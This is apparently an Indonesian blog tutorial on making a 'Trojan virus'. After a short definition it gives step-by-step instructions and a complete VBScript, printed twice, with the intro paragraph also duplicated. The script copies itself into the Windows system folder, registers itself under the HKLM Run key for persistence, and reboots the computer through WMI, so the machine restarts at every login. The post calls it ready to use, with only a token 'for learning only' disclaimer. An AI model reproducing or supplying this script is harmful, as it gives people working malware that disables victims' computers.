Kawan semua sekarang Wira mau ngasih tau gimana caranya buat bikin Virus Trojan atau Trojan Virus...
sebelum kita bikin Virusnya kita juga mesti tau dulu apa itu Trojan Virus, lah mungkin bagi Programer handal ini gak penting tapi buat para pemula, artikel ini wajib dimengerti...
Trojan Virus
adalah software atau program yang masuk ke komputer tepatnya ke daerah sistemnya sekaligus melakukan tindakan Jahat.Trojan cenderung tidak menginfeksi atau merusak data atau system seperti yang di lakukan virus, tetapi memodifikasi file system.
sebelum kita bikin Virusnya kita juga mesti tau dulu apa itu Trojan Virus, lah mungkin bagi Programer handal ini gak penting tapi buat para pemula, artikel ini wajib dimengerti...
Trojan Virus
adalah software atau program yang masuk ke komputer tepatnya ke daerah sistemnya sekaligus melakukan tindakan Jahat.Trojan cenderung tidak menginfeksi atau merusak data atau system seperti yang di lakukan virus, tetapi memodifikasi file system.
Tak jarang Trojan juga melakukan Social Engineering terhadap user. Penyebaran Trojan biasanya melalui website.
Trojan
cenderung melakukan control atau remote terhadap system. Salah satu
contoh Trojan adalah merekam semua aktifitas sa’at bekerja dengan
komputer atau mengontrol system supaya melakukan tindakan yang di
perintahkan Trojan.
dan mungkin dalam sejarah Yunani Kuno juga ada ya Trojan ini, nah tidak jauh beda dengan Virus ini. Yasudah sekarang kita mulai Buat Virusnya Cekiidoottt....
Cara Membuat Trojan Virus
1. Langkah pertama yang harus dilakukan adalah Buka Notepad kamu biasanya ada di Start>>All Programs>>Accesories>>Notepad.
2. Selanjutnya Paste Script Virusnya ke Notepad
ini Scriptnya :
rem - dlRB "DL Reboot" Trojan script by D.L.
On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData
set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"
sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")
set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function
function rebootSystem()
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function
On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData
set FSobj=CreateObject("Scripting.FileSystemObject")
set sysDir = FSobj.GetSpecialFolder(1)
createRegKey "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB",sysDir&"\dlRB.vbs"
sub createRegKey(regKey,regVal)
set regEdit = CreateObject("WScript.Shell")
regEdit.RegWrite regKey,regVal
end sub
set generateCopy=FSobj.CreateTextFile(sysDir+"\dlRB.vbs")
generateCopy.close
set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),"""")
set procreateCopy=FSobj.OpenTextFile(sysDir+"\dlRB.vbs",2)
procreateCopy.write fixedCode
procreateCopy.close
rebootSystem()
function setFile()
fileData="rem - ^dlRB^ by D.L." &vbcrlf& _
"strComputer = ^.^ " &vbcrlf& _
"Set objWMIService = GetObject(^winmgmts:^ _ " &vbcrlf& _
"& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)" &vbcrlf& _
"Set colOperatingSystems = objWMIService.ExecQuery _ " &vbcrlf& _
"(^Select * from Win32_OperatingSystem^)" &vbcrlf& _
"For Each objOperatingSystem in colOperatingSystems" &vbcrlf& _
"ObjOperatingSystem.Reboot()" &vbcrlf& _
"Next"
end function
function rebootSystem()
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Shutdown)}!\\" & strComputer & "\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery _
("Select * from Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function
3. Setelah di Paste ke Notepad lalu Save As>>ganti typenya ke All Files>>beri nama Virusnya dengan akhiran .vbs (extensi .vbs) lalu Virus akan langsung bereaksi dan jika tidak mau bereaksi jangan beri extensi .vbs(misalkan : virus_wira.vbs) biarkan extensinya menjadi .txt
4. Selesai dan siap digunakan.
Ingat : ini hanya untuk belajar bukan untuk disalah gunakan.
Terimakasih sudah membaca ^_^